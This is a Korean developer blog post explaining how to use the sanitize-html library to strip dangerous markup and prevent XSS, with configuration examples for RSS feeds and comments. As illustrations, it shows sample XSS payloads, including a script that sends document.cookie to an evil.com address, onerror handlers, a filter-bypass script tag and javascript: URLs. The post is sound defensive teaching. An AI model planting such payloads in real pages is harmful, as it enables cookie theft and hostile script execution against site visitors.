junyeokk
Blog
HTML Processing·2025. 03. 05

sanitize-html

사용자가 입력한 HTML을 그대로 렌더링하면 XSS(Cross-Site Scripting) 공격에 노출된다. 블로그 RSS 피드의 본문, 댓글, 게시판 글 등 외부에서 들어오는 HTML 콘텐츠를 다루는 상황에서 이건 현실적인 위협이다.

html
<p>안녕하세요</p>
<script>document.location = 'https://evil.com/steal?cookie=' + document.cookie</script>
<img src="x" onerror="alert('XSS')">

위처럼 <script> 태그나 이벤트 핸들러가 포함된 HTML이 그대로 페이지에 삽입되면, 사용자의 쿠키가 탈취되거나 악성 코드가 실행될 수 있다. 이걸 막기 위해 HTML을 "새니타이징(sanitizing)"하는 과정이 필요하다.

새니타이징이란

새니타이징은 HTML 문자열에서 위험한 요소를 제거하고 안전한 부분만 남기는 작업이다. 핵심은 화이트리스트(allowlist) 방식이라는 점이다.

  • 블랙리스트 방식: 위험한 태그/속성을 하나씩 차단 → <script> 막으면 <SCRIPT>, <ScRiPt>, <img onerror> 등 우회 가능
  • 화이트리스트 방식: 허용할 태그/속성만 명시적으로 나열 → 목록에 없는 건 전부 제거

블랙리스트는 공격자가 새로운 우회 방법을 찾을 때마다 규칙을 추가해야 하지만, 화이트리스트는 허용 목록에 없는 건 전부 제거하니까 알려지지 않은 공격 벡터에도 안전하다. sanitize-html은 이 화이트리스트 방식을 사용한다.

기존 방식과의 비교

HTML을 안전하게 만드는 방법은 여러 가지가 있다.

방법 1: 전체 이스케이프

javascript
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;');
}

모든 HTML 특수문자를 엔티티로 변환하면 안전하지만, 모든 마크업이 사라진다. <b>굵은 글씨</b>&lt;b&gt;굵은 글씨&lt;/b&gt;로 표시돼서 서식이 전부 날아간다. 블로그 본문처럼 서식을 유지해야 하는 경우에는 사용할 수 없다.

방법 2: 정규식으로 태그 제거

javascript
const clean = dirty.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');

특정 태그를 정규식으로 제거하는 방식이다. 간단해 보이지만 HTML은 정규 문법(regular grammar)이 아니라서 정규식으로 완벽하게 파싱할 수 없다. 중첩 태그, 속성 안의 > 문자, 불완전한 태그 등을 정규식으로 처리하는 건 사실상 불가능하다.

html
<!-- 정규식 우회 예시 -->
<scr<script>ipt>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<div style="background:url(javascript:alert('XSS'))">

방법 3: sanitize-html (파서 기반 새니타이징)

sanitize-html은 HTML을 실제로 파싱한 뒤 AST(추상 구문 트리)를 순회하면서 허용된 태그와 속성만 남긴다. 정규식이 아니라 파서를 사용하기 때문에 중첩이나 인코딩 트릭에도 안전하다.

설치 및 기본 사용법

bash
npm install sanitize-html
npm install -D @types/sanitize-html  # TypeScript
typescript
import sanitize from 'sanitize-html';

const dirty = '<p>Hello</p><script>alert("XSS")</script><b>World</b>';
const clean = sanitize(dirty);
// '<p>Hello</p><b>World</b>'

아무 옵션 없이 호출하면 sanitize-html의 기본 허용 목록이 적용된다. 기본적으로 <p>, <b>, <i>, <em>, <strong>, <a>, <ul>, <ol>, <li>, <br> 같은 기본 서식 태그만 허용되고, <script>, <style>, <iframe> 같은 위험한 태그는 모두 제거된다.

기본 허용 태그 목록

sanitize-html이 기본으로 허용하는 태그와 속성은 다음과 같다.

javascript
// 기본 허용 태그
const defaultAllowedTags = [
  'address', 'article', 'aside', 'footer', 'header', 'h1', 'h2', 'h3',
  'h4', 'h5', 'h6', 'hgroup', 'main', 'nav', 'section', 'blockquote',
  'dd', 'div', 'dl', 'dt', 'figcaption', 'figure', 'hr', 'li', 'main',
  'ol', 'p', 'pre', 'ul', 'a', 'abbr', 'b', 'bdi', 'bdo', 'br', 'cite',
  'code', 'data', 'dfn', 'em', 'i', 'kbd', 'mark', 'q', 'rb', 'rp',
  'rt', 'rtc', 'ruby', 's', 'samp', 'small', 'span', 'strong', 'sub',
  'sup', 'time', 'u', 'var', 'wbr', 'caption', 'col', 'colgroup', 'table',
  'tbody', 'td', 'tfoot', 'th', 'thead', 'tr'
];

// 기본 허용 속성
// a 태그: href, name, target
// img 태그: 기본으로 허용 안 됨 (직접 추가 필요)

<img> 태그가 기본 허용 목록에 없다는 점에 주의해야 한다. 이미지를 표시해야 하면 직접 추가해야 한다.

상세 옵션 설정

allowedTags: 허용할 태그 지정

typescript
const clean = sanitize(dirty, {
  allowedTags: ['p', 'b', 'i', 'em', 'strong', 'a', 'img', 'br', 'ul', 'ol', 'li'],
});

기본 목록을 완전히 대체한다. 기본 목록에 태그를 추가하고 싶다면 sanitize.defaults.allowedTags를 스프레드해서 사용한다.

typescript
const clean = sanitize(dirty, {
  allowedTags: sanitize.defaults.allowedTags.concat(['img', 'video']),
});

모든 태그를 허용하려면 false를 전달한다. 이 경우에도 속성 필터링은 적용되므로 이벤트 핸들러 같은 건 여전히 제거된다.

typescript
const clean = sanitize(dirty, {
  allowedTags: false,  // 모든 태그 허용
});

allowedAttributes: 허용할 속성 지정

typescript
const clean = sanitize(dirty, {
  allowedTags: ['a', 'img', 'p', 'div'],
  allowedAttributes: {
    'a': ['href', 'target', 'rel'],
    'img': ['src', 'alt', 'width', 'height'],
    'div': ['class'],
  },
});

태그별로 허용할 속성을 명시한다. '*' 키를 사용하면 모든 태그에 공통으로 적용할 속성을 지정할 수 있다.

typescript
allowedAttributes: {
  '*': ['class', 'id'],      // 모든 태그에 class, id 허용
  'a': ['href', 'target'],   // a 태그에 추가로 href, target 허용
}

allowedSchemes: URL 스킴 제한

hrefsrc 속성에 들어갈 수 있는 URL의 프로토콜을 제한한다. 기본값은 ['http', 'https', 'ftp', 'mailto']이다.

typescript
const clean = sanitize(dirty, {
  allowedSchemes: ['http', 'https'],
  allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
});

이 설정이 중요한 이유는 javascript: 스킴을 차단하기 위해서다.

html
<!-- 이런 공격을 방어 -->
<a href="javascript:alert('XSS')">클릭</a>
<img src="javascript:alert('XSS')">

javascript: 스킴은 기본적으로 허용 목록에 없으므로 자동으로 제거된다.

disallowedTagsMode: 비허용 태그 처리 방식

비허용 태그를 만났을 때 어떻게 처리할지 결정한다. 세 가지 모드가 있다.

typescript
const dirty = '<div>Hello <script>alert("XSS")</script> World</div>';

// 'discard' (기본값): 태그와 내용 모두 제거
sanitize(dirty, { disallowedTagsMode: 'discard' });
// '<div>Hello  World</div>'

// 'escape': 태그를 이스케이프 (내용은 유지)
sanitize(dirty, { disallowedTagsMode: 'escape' });
// '<div>Hello &lt;script&gt;alert("XSS")&lt;/script&gt; World</div>'

// 'recursiveEscape': 중첩된 태그까지 전부 이스케이프
sanitize(dirty, { disallowedTagsMode: 'recursiveEscape' });
  • discard: 위험한 태그를 흔적 없이 제거. 일반적인 상황에서 가장 적합
  • escape: 태그가 텍스트로 표시됨. 코드 예시를 보여줄 때 유용
  • recursiveEscape: escape와 비슷하지만 자식 태그도 전부 이스케이프

transformTags: 태그 변환

허용된 태그를 다른 태그로 변환하거나 속성을 추가/수정할 수 있다.

typescript
const clean = sanitize(dirty, {
  allowedTags: ['a', 'p', 'strong'],
  transformTags: {
    'b': 'strong',  // <b> → <strong>으로 변환
    'a': sanitize.simpleTransform('a', {
      target: '_blank',
      rel: 'noopener noreferrer',
    }),
  },
});

simpleTransform은 태그명과 추가할 속성을 인자로 받아서 변환 함수를 만들어준다. 외부 링크에 target="_blank"rel="noopener noreferrer"를 자동으로 추가하는 패턴은 매우 흔하다.

더 복잡한 변환이 필요하면 함수를 직접 작성할 수 있다.

typescript
transformTags: {
  'a': (tagName, attribs) => {
    // 외부 링크만 새 탭에서 열기
    if (attribs.href && !attribs.href.startsWith('/')) {
      attribs.target = '_blank';
      attribs.rel = 'noopener noreferrer';
    }
    return { tagName, attribs };
  },
}

allowedClasses: CSS 클래스 화이트리스트

속성 전체가 아니라 특정 CSS 클래스만 허용할 수 있다.

typescript
const clean = sanitize(dirty, {
  allowedTags: ['p', 'div', 'span', 'code', 'pre'],
  allowedClasses: {
    'code': ['language-*'],      // language-로 시작하는 모든 클래스
    'div': ['highlight', 'note'], // 특정 클래스만
    '*': ['text-center'],        // 모든 태그에 허용
  },
});

와일드카드(*)를 사용하면 패턴 매칭도 가능하다. 코드 하이라이팅 라이브러리가 language-javascript, language-python 같은 클래스를 사용하는 경우에 유용하다.

allowedStyles: 인라인 스타일 제한

인라인 style 속성은 기본적으로 전부 제거된다. 특정 CSS 속성만 허용하려면 정규식으로 지정한다.

typescript
const clean = sanitize(dirty, {
  allowedTags: ['p', 'span'],
  allowedAttributes: {
    'p': ['style'],
    'span': ['style'],
  },
  allowedStyles: {
    '*': {
      'color': [/^#(0x)?[0-9a-f]+$/i, /^rgb\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*\)$/],
      'text-align': [/^left$/, /^right$/, /^center$/],
      'font-size': [/^\d+(?:px|em|rem|%)$/],
    },
  },
});

CSS 속성값을 정규식으로 검증하기 때문에 expression(), url(javascript:...) 같은 CSS 기반 XSS 공격도 방어할 수 있다.

allowedIframeHostnames: iframe 호스트 제한

<iframe> 태그를 허용해야 하는 경우(유튜브 임베드 등), 특정 도메인만 허용할 수 있다.

typescript
const clean = sanitize(dirty, {
  allowedTags: sanitize.defaults.allowedTags.concat(['iframe']),
  allowedAttributes: {
    'iframe': ['src', 'width', 'height', 'frameborder', 'allowfullscreen'],
  },
  allowedIframeHostnames: ['www.youtube.com', 'player.vimeo.com'],
});

이 옵션이 없으면 <iframe src="https://evil.com/phishing"> 같은 피싱 페이지가 임베드될 수 있다.

동작 원리

sanitize-html은 내부적으로 htmlparser2를 사용해서 HTML 문자열을 파싱한다. 동작 순서는 다음과 같다.

  1. 파싱: htmlparser2가 HTML 문자열을 토큰(여는 태그, 닫는 태그, 텍스트, 속성)으로 분해
  2. 필터링: 각 토큰에 대해 허용 목록을 확인
    • 허용되지 않은 태그 → disallowedTagsMode에 따라 제거/이스케이프
    • 허용되지 않은 속성 → 제거
    • URL 속성 → 스킴 검증
    • style 속성 → 개별 CSS 속성 검증
  3. 변환: transformTags에 해당하는 태그 변환 적용
  4. 재조립: 필터링된 토큰을 다시 HTML 문자열로 조합

이 과정에서 불완전하거나 깨진 HTML도 정상적으로 처리된다. htmlparser2가 브라우저와 유사한 방식으로 오류 복구(error recovery)를 하기 때문이다.

html
<!-- 입력: 깨진 HTML -->
<p>열고 안 닫은 태그
<b>중첩이 <i>잘못된</b> 태그</i>
<script>alert('XSS')</script>

<!-- 출력: 정리된 HTML -->
<p>열고 안 닫은 태그
<b>중첩이 <i>잘못된</i></b> 태그
</p>

실전 설정 예시

RSS 피드 본문 새니타이징

외부 블로그 피드의 HTML 본문을 안전하게 표시하는 설정이다.

typescript
import sanitize from 'sanitize-html';

function sanitizeFeedContent(html: string): string {
  return sanitize(html, {
    allowedTags: [
      // 구조
      'p', 'div', 'br', 'hr',
      // 제목
      'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
      // 서식
      'b', 'i', 'em', 'strong', 'u', 's', 'strike', 'del',
      'sub', 'sup', 'small', 'mark',
      // 링크/이미지
      'a', 'img',
      // 목록
      'ul', 'ol', 'li',
      // 코드
      'pre', 'code', 'kbd', 'samp',
      // 테이블
      'table', 'thead', 'tbody', 'tfoot', 'tr', 'th', 'td',
      // 인용
      'blockquote', 'q', 'cite',
      // 기타
      'figure', 'figcaption', 'details', 'summary',
    ],
    allowedAttributes: {
      'a': ['href', 'title', 'target', 'rel'],
      'img': ['src', 'alt', 'title', 'width', 'height', 'loading'],
      'code': ['class'],
      'pre': ['class'],
      'td': ['colspan', 'rowspan'],
      'th': ['colspan', 'rowspan', 'scope'],
    },
    allowedSchemes: ['http', 'https', 'mailto'],
    allowedClasses: {
      'code': ['language-*'],
      'pre': ['language-*'],
    },
    transformTags: {
      'a': sanitize.simpleTransform('a', {
        target: '_blank',
        rel: 'noopener noreferrer',
      }),
    },
  });
}

이 설정의 포인트:

  • 이미지: src, alt, loading 속성 허용 (lazy loading 지원)
  • 코드 블록: language-* 클래스 허용 (구문 하이라이팅 유지)
  • 외부 링크: 자동으로 새 탭 + noopener 추가 (탭내빙 공격 방지)
  • 테이블: colspan/rowspan 허용 (복잡한 테이블 구조 유지)
  • URL 스킴: http, https, mailto만 허용 (javascript: 차단)

사용자 댓글 새니타이징

댓글은 피드 본문보다 더 제한적이어야 한다.

typescript
function sanitizeComment(html: string): string {
  return sanitize(html, {
    allowedTags: ['p', 'br', 'b', 'i', 'em', 'strong', 'a', 'code'],
    allowedAttributes: {
      'a': ['href'],
    },
    allowedSchemes: ['http', 'https'],
    transformTags: {
      'a': (tagName, attribs) => ({
        tagName,
        attribs: {
          ...attribs,
          target: '_blank',
          rel: 'noopener noreferrer',
        },
      }),
    },
    textFilter: (text) => {
      // 연속 공백 정리
      return text.replace(/\s+/g, ' ');
    },
  });
}

완전 제거 (플레인 텍스트 추출)

HTML에서 텍스트만 추출하고 싶을 때는 모든 태그를 제거한다.

typescript
function stripHtml(html: string): string {
  return sanitize(html, {
    allowedTags: [],
    allowedAttributes: {},
  });
}

stripHtml('<p>Hello <b>World</b></p>');
// 'Hello World'

검색 인덱싱, 미리보기 텍스트 생성, 알림 메시지 등에서 유용하다.

성능 고려사항

sanitize-html은 HTML을 파싱하고 재조립하는 과정을 거치기 때문에 단순 문자열 치환보다는 느리다. 하지만 대부분의 경우 충분히 빠르다.

  • 일반적인 블로그 포스트(~10KB HTML): 1ms 미만
  • 대용량 문서(~100KB HTML): 수 ms
  • 매우 큰 문서(~1MB HTML): 수십 ms

성능이 중요한 경우 몇 가지 최적화 방법이 있다.

typescript
// 1. 옵션 객체를 미리 만들어서 재사용
const sanitizeOptions = {
  allowedTags: ['p', 'b', 'i', 'a'],
  allowedAttributes: { 'a': ['href'] },
};

// 매번 새 객체를 만들지 않음
items.forEach(item => {
  item.content = sanitize(item.content, sanitizeOptions);
});

// 2. 불필요한 처리 스킵
// HTML이 없는 문자열은 새니타이징할 필요 없음
function sanitizeIfNeeded(text: string): string {
  if (!/<[a-z][\s\S]*>/i.test(text)) {
    return text;  // HTML 태그가 없으면 그대로 반환
  }
  return sanitize(text, sanitizeOptions);
}

DOMPurify와의 비교

브라우저 환경에서는 DOMPurify가 가장 많이 사용되는 대안이다.

기준sanitize-htmlDOMPurify
환경Node.js (서버)브라우저 (클라이언트)
파서htmlparser2브라우저 네이티브 DOM
설정 유연성매우 높음 (태그별 속성, 변환 등)높음 (프리셋 + 커스텀)
속도빠름매우 빠름 (네이티브 DOM 활용)
번들 크기서버이므로 무관~15KB gzipped

핵심 차이는 실행 환경이다. sanitize-html은 서버 사이드(Node.js)에서 사용하도록 설계됐고, DOMPurify는 브라우저의 네이티브 DOM 파서를 활용한다. 서버에서 HTML을 정제해서 저장하고 싶다면 sanitize-html이 적합하고, 클라이언트에서 렌더링 직전에 정제하고 싶다면 DOMPurify가 적합하다.

가장 안전한 방법은 서버에서 sanitize-html로 저장 시점에 정제하고, 클라이언트에서 DOMPurify로 렌더링 시점에 한 번 더 정제하는 이중 방어다.

정리

  • 화이트리스트 방식으로 허용 태그/속성만 남기기 때문에 정규식이나 블랙리스트와 달리 알려지지 않은 공격 벡터에도 안전하다
  • allowedTags, allowedAttributes, allowedSchemes, transformTags를 조합해서 RSS 본문부터 댓글까지 용도별 설정을 만들 수 있다
  • 서버에서 sanitize-html로 저장 시점에 정제하고 클라이언트에서 DOMPurify로 이중 방어하는 것이 가장 안전한 패턴이다

관련 문서